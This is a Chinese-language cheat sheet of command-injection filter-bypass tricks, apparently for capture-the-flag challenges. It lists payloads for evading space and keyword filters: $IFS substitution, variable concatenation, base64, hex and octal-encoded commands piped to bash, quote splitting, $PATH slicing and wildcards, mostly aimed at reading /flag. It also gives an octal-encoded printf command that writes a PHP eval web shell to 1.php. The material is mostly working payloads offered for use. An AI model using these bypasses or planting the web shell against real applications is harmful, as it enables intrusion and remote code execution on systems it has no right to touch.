命令执行漏洞绕过

  • 过滤空格
    • $IFS$9 、${IFS} 、%09(tab键)
    • <>
    • 命令终止符号
      • %00
      • ;
      • %0a (linux下换行 \n)
  • 一句话执行多个命令

    cd ..&&cd ..&&cd ..&&cat flag
    cd ..;cd ..;cd ..;cat flag
    ||  执行或语句, 也可用作连接

    利用换行

    如有语句 C 语言中

    system()

    可以用 \n 换行来执行多条命令

  • 关键字过滤

    • 拼接绕过

      • 执行ls命令:
        a=l;b=s;$a$b
      • cat /flag文件内容:
        a=c;b=at;c=/f;d=lag;$a$b ${c}${d}
      • cat /flag文件内容
        a="ccaatt";b=${a:0:1}${a:2:1}${a:4:1};$b /flag
    • 编码绕过

      • base64

        echo "Y2F0IC9mbGFn"|base64 -d|bash 等价于 cat /flag
        echo Y2F0IC9mbGFn|base64 -d|sh 等价于 cat /flag
      • hex (16进制字符串)

        echo "0x636174202f666c6167" | xxd -r -p|bash 等价于 cat /flag
        echo 0x636174202f666c6167|xxd -r -p|bash 等价于 cat /flag
      • oct 字节(八进制字符串)

        $(printf "\154\163")   等价于  ls
        $(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") 等价于  cat /flag
        
        {printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0 等价于  cat /flag

        也可以通过这种方式写马
        内容为 <?php @eval($_POST['c']);?>

        {printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} > 1.php
    • 单引号和双引号,反斜杠绕过

      c'a't /flag
      c"a"t /flag
      ca\t /flag
  • 通过$PATH绕过

    # echo $PATH 显示当前PATH环境变量,该变量的值由一系列以冒号分隔的目录名组成
    # 当执行程序时,shell自动跟据PATH变量的值去搜索该程序
    # shell在搜索时先搜索PATH环境变量中的第一个目录,没找到再接着搜索,如果找到则执行它,不会再继续搜索
    # 可以利用cut命令截取$PATH中的字符串来达到目的
    
    root@ubuntu:/# echo $PATH 
    /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
    root@ubuntu:/# `echo $PATH| cut -c 8,9`t /flag
    flag{test}
    
    root@ubuntu:/# cat $(echo $PATH|cut -c 1)flag
    flag{test}
  • 通配符绕过

    cat /f?ag
    cat /fl*
    cat /f[a-z]ag
    cat /f{i,j,k,l,m,n}ag
  • 命令替换

    # 查看文件内容的命令
    cat、tac、more、less、head、tail、nl、sed、sort、uniq

参考文档

https://www.freebuf.com/articles/web/137923.html

https://blog.csdn.net/qq_43431158/article/details/105422347

https://mp.weixin.qq.com/s/Hm6TiLHiAygrJr-MGRq9Mw